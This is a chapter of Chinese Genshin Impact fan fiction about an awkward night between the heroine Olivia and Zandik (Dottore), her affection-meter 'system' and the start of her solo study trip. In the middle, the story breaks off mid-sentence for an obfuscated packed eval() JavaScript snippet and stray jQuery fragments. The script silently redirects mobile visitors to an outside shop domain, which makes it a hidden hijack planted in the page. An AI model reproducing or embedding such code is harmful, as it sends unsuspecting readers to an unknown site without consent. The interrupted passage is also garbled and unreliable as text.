半夜时分,赞迪克被一阵刺痛感弄醒。

    意识从沉睡中浮上来的过程很快,但似乎也很缓慢,他意识到自己不知道什么时候熟睡过去,手臂传来的酸麻感让他清醒不少。

    他的身边躺着一个人,那人毛茸茸的脑袋正枕着他的胳膊,这也是他手臂麻了的原因。

    那股刺痛感依旧不减半分,他动作略微有些滞缓,低头看了眼疼痛的源头。

    她紧闭着双眼,紧紧抱着他的手,嘴唇微张,叼着他的手指有一下没一下地用牙齿啃咬,像在含一块糖。

    “…奥莉维亚。”他试着叫了她一声,嗓音带着一点干哑,见她没有反应,他闭了闭眼,不是故意行为,是睡梦中的无意识动作。

    结合先前她总是咬嘴巴撕嘴皮的行为来看,大概是口欲期残余行为,通常在幼年期形成,成年后表现为无意识啃咬习惯。

    他的思路在她沉重的呼吸声中微微截断了一瞬,低头扫了眼,这种情况多与安全感缺失相关。

    赞迪克抽回了自己被她当成枕头的手,又从她嘴里解救了湿漉漉的手指,用纸擦干净后,他一动不动地盯着天花板。

    她对他不设防这一点并不让人惊讶,但他居然在她身边睡着了,如果不是被她咬醒,他中途甚至没有醒来过,醒来后在察觉异动后没有瞬间恢复清醒。他放任自己在她身边睡了一个没有警觉的深度睡眠。

    手指那里还在疼。

    赞迪克重新闭上眼,与她隔开一段距离,可身边的有异物的感觉让他无法忽视。

    “…实验变量已偏离预期。”他要干预吗?将自己不和谐的一部分摘除。

    身边忽地传来细微的动静,他偏了下头,眼神有些沉默,因为她开始啃自己的手指。

    “你这什么癖好?”他语气带着些无奈,最后缓缓呼出一口气,把她的手扯了下去。

    拥抱这个动作他迟疑了很久,伸手揽住她的腰,将她慢吞吞地往怀里带,还好她睡着时反应也很敏锐,自己缩进了他的怀里。

    赞迪克手僵着不敢触碰她的身体,毕竟这是在完全清醒的状态下,她人还在睡,肢体接触是有必要的吗,他其实可以选择不抱她。可他那双手依旧选择放在她的背上,感受着她温热的呼吸喷洒在他的锁骨处。

    他不是圣人,所以他拥有普通人的七情六欲。他用这种说辞说服自己。

    近距离肢体接触确实会刺激激素分泌,这是很基础的人体机理。以这种绝对圈禁的姿态将她环抱,心底莫名涌现出一种想要独占的念头,无意识收紧了力道。

    奥莉维亚半梦半醒间突然觉得很热,伸手把他推开了些,“你抱着我干嘛?”

    “你让我抱的。”他说,“我不抱你你就咬我。”

    她迷迷瞪瞪抬头盯着他,脑子有些转不过来,想了半天也不知道要说什么,没多久就靠在他身上睡着了,嘴里依旧咬着他的手。

    结果就是第二天醒来时,她看见自己躺在大魔头怀里的瞬间,就爆发了一声尖叫。

    “啊——”

    ‘大魔头’悠悠转醒,睡眼惺忪地望着她,她正手忙脚乱整理自己凌乱的睡裙。

    她猛地跳下床,一副拒人于千里之外的态度,“你你你你怎么跟我睡在一起?”

    尽管她不是头一回霸占赞迪克的床,但却是第一次和他同床共枕!

    奥莉维亚还没从震惊中回过神,眼睛往下一瞥,就看见他松松垮垮的衣服领口,锁骨处赫然有几道隐晦的牙印,齿痕明显。

    “这…你别跟我说这是是我干的。”她神情慌张起来,焦虑地啃了啃手指头。

    赞迪克不紧不慢从床上起来,胳膊一阵酸痛,他面无表情自她身边走过去,“嗯,当事人一般都是这个统一口径,我很理解。”

    什么!

    她霎时间愤怒起来,伸手抓住他的胳膊,刚要辩驳,眼神不受控制落在他手指上。

    细长的指骨处疑似有牙印,她愣了下,昨晚的记忆扑面而来,打脸来得太快。

    赞迪克把手抽出,“还有事?”

    “无。”她心如死灰,发誓再也不会进他的卧室,随后迈着机械的步子回了房间。

    奥莉维亚回了房间,把房门用力一甩,而后轻手轻脚地关上,双手捂住脸,发出一声闷闷的哀嚎。

    她在心里默默安慰自己,攻略任务到最后说不定他们还会接吻呢,这算什么呢。

    可是一想到那是「博士」多托雷,红眼睛薄荷头鲨鱼牙,全都踩在她的雷点上。

    “我确实色胆包天,居然连敌人身边都能睡得那么心安理得,还抱着他!”

    她点开任务面板,后知后觉系统最近出奇的安静,不像刚来到提瓦特那会儿,一言不合就弹出来,催命似的让她去做任务。

    “查看一下赞迪克的好感度。”

    【系统提示:当前攻略目标好感度为30%,对比之前有所下降,检测到宿主长期未完成每日任务,或成为攻略目标好感度降低的核心原因,请宿主继续完成每日任务积攒好感度值。】

    奥莉维亚张了张嘴,表情有些讶异:“我牺牲这么大,结果他还不领情?”

    最近又是牵手又是拥抱,甚至还一起睡了一觉,敢情他心里很排斥这种感觉是吧!

    不知怎么她心里堵得慌,气势汹汹地朝系统扔了个枕头过去,面板在眼前消失。

    虚空终端震了震,她冷静了片刻才点开,是罗娜尔导师发来的讯息,是关于此次游学的路线,并且特地说明是她单独进行,而非小组合作,这也是罗娜尔特别要求的。

    “上次跨院课题论文完成得不错,我看过了,写得非常成熟,但我不确定是不是因为有搭档合作的原因,所以你需要在这次游学中证明自己,你应该不会让我失望吧。”

    而奥莉维亚也是拍胸脯保证过的,直到她看见游学路线,才为自己的决定感到绝望。

    她在房间里磨蹭了很久才出去,赞迪克已经换好衣服坐在客厅,锁骨那圈牙印被衣领遮住了大半,只露出一个浅浅的边缘。

    她路过时尽量让自己目不斜视,假装什么都没发生过,准备悄悄离开。

    “周末,你去哪?”

    他没抬头,忽然问了一句。

    奥莉维亚脚下一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874677|212345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    顿,随手抓了抓乱糟糟的头发,“罗娜尔导师确认了我的游学路线,明天就要出发了,我出去买点必需品。”

    这人平时也不怎么话多,怎么每次她想要悄咪咪溜走的时候,他就那么事多呢。

    她感到无比郁闷,叹了口气。

    赞迪克抬眼看向她的背影,翻页的手停在某一页不动了,“你自己去?”

    “对,她特地要求了让我独自完成游学,大概要去半个多月吧。”她说话飞快。

    随后他收回视线,没再说话,奥莉维亚在原地站了一会,就拉开门走了出去。

    从教令院取到通行证后,她去宝商街买了一些路上必备的物资,依旧是那些药剂和便携式烹饪工具,还有一些干粮和药品。

    她蹲在摊位前挑挑拣拣,完全没注意到身后立着的人,直到她起身才发现那人的存在,神色变得有些复杂。

    “莱维安?”奥莉维亚率先出声叫了他一声,见他满脸憔悴,她也有些愧疚,“抱歉,前两天是我太激动了,其实你根本就没错。”

    闻言莱维安低下头,手指攥着袖口,“奥莉维亚,那天的事对不起,我不该临时反悔,我本来应该按照约定好的来,我…”

    他犹豫了一下,本想说出赞迪克的真面目,话到嘴边又咽了回去,他太懦弱了。

    “没关系。”奥莉维亚打断了他,抿唇笑了笑,“我原谅你了,我也不该利用你对我的喜欢,我以后不会再这样做了。”

    莱维安眼里闪过一丝希望的光,皲裂的嘴唇发出颤抖的声音:“你真的愿意原谅我?”

    她沉默了两秒,把手里的东西往上提了提,语调委婉:“我原谅你,但是…”

    “这不代表我会继续和你做朋友,你也看到了,我马上要去游学,很久以后才会回来,这段时间我们不见面,很快你就会忘记。”

    这段话如同一盆冷水兜头淋下。

    莱维安愣在原地,神色无力地张了下嘴,好半天才挤出一句:“奥莉维亚,祝你游学顺利。希望我们还能是朋友。”

    她没有立刻回答,盯着他数秒,在他写满了懊悔和某种小心翼翼的期待的眼神中,她呼出一口气,只是淡淡地点了下头。

    “时候不早了,我还要回去准备,那我先走了,再见莱维安。”她说完就离开了。

    回到公寓已经是下午了,光线慢慢暗淡下去,可雨林的热气从地面往上窜,混着青草和泥土的味道,奥莉维亚在院子里站了一会,她觉得自己已经开始接受雨林的气候了。

    教令院的尖顶在层层叠叠的树冠中露出一个角,远远的,依旧如此瞩目。

    可能是要短暂离开一段时间的缘故,她心里没由来地涌起一阵惆怅。

    她拧开门锁,房子里空无一人,本以为晚上能看见赞迪克,可他一夜都没回来。

    直到第二天早晨她要出发前,都没有看见这只薄荷鸡,奥莉维亚回头看了眼他的卧室门,心情复杂又郁闷。

    怕耽误时间,她没等到他回来就迈步走进了通往雨林深处的小路。

    算了,反正也就半个月,有什么话回来再说吧。